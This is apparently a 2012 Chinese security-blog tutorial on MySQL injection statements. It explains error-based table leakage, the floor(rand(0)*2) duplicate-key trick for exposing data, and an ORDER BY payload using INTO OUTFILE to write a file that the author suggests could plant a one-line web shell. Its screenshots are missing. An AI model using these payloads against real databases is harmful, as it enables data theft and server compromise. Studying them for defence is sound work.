热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

MySQL注入的几个语句 详解

发布时间:2012-09-18 10:24文章来源:网络文章作者:qingshen 点击次数:
摘要:0x1 mysql报错模式下的不使用information_schema来爆表 基础知识:USING 用于表连接时给定连接条件,Select*fromtable1jointable2ontable1.id=table2.id;使用using可以写为Select*fromtable1jointable2using(id)(不过下面的语句我用onA.user=B.user时不会...

0x1

mysql报错模式下的不使用information_schema来爆表

基础知识:USING

用于表连接时给定连接条件,Select * from table1 join table2 on table1.id = table2.id;使用using可以写为Select *from table1 join table2 using(id)(不过下面的语句我用on A.user=B.user时不会出现想要的结果)

 

MySQL注入的几个语句
 

这里说是要有一个别名,那么如下写就可以了:

 

MySQL注入的几个语句
 

又提示说是重复的列Host,那么我们用Host来连接两个表。可见有爆出User表

 

MySQL注入的几个语句
 

那么接下来就可以爆出数据库中的所有的表了,当然也可以爆其他的。

0x2

select 1 from(selectcount(*),concat(version(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a;

 

MySQL注入的几个语句
 

RAND(N) :返回在范围0到1.0内的随机浮点值。如果一个整数参数N被指定,它被用作种子值。每个种子产生的随机数序列是不同的

Floor():向下舍入为最接近的整数。

其实这个select语句最重要的部分是:

select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tablesgroup by x;

下面将语句拆开查看

select count(*) from information_schema.tables;#只返回一行数据

 

MySQL注入的几个语句
 

select concat(version(),floor(rand(0)*2))x from information_schema.tables;#返回62行数据

 

MySQL注入的几个语句
 

select concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;#返回两行数据,这个和rand(0)*2)后面的2有关,乘以n一般就是返回n行数据。

 

MySQL注入的几个语句
 

原因应该可以从上面找出点猫腻。第一个select语句有1列,第二个有62列,floor(rand(0)*2)说明可以有两个分组,而第二个分组就无法进行了,所以出现如上“Duplicate entry '5.0.90-community-nt1' for key 1”错误。现在看想出这个利用方法的人真是牛x。

这个语句用处还是很大的,在insert、order by的注入点上还是很有用的。

0x3

select user from user order by if(( select 'abc' into outfile 'c:/1.php'),1,1);

 

MySQL注入的几个语句
 

可见这条语句将user表中user字段都写到1.php文件里面了,但是abc没有写进去。具体原因还没找出来。这里我们可以假设一个yy的场景,root权限+可以发表文章(或者提交的数据被写入到数据库中)+order by的注入点,那么我就可以通过上面的语句来导出一句话。

0x4

参考

http://www.blackhat.com/presentations/bh-usa-09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-PAPER.pdf

http://www.exploit-db.com/papers/13604/

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf

http://hi.baidu.com/toby57/item/e71e828cd9fe54874514cf37

http://www.0x50sec.org/mysql-order-by%E7%B1%BB%E5%9E%8B%E6%B3%A8%E5%B0%84%E5%88%A9%E7%94%A8%E7%AC%94%E8%AE%B0/

标签分类:

上一篇:对护卫神防火墙的分析与绕过
下一篇:PHP FastCGI 的远程利用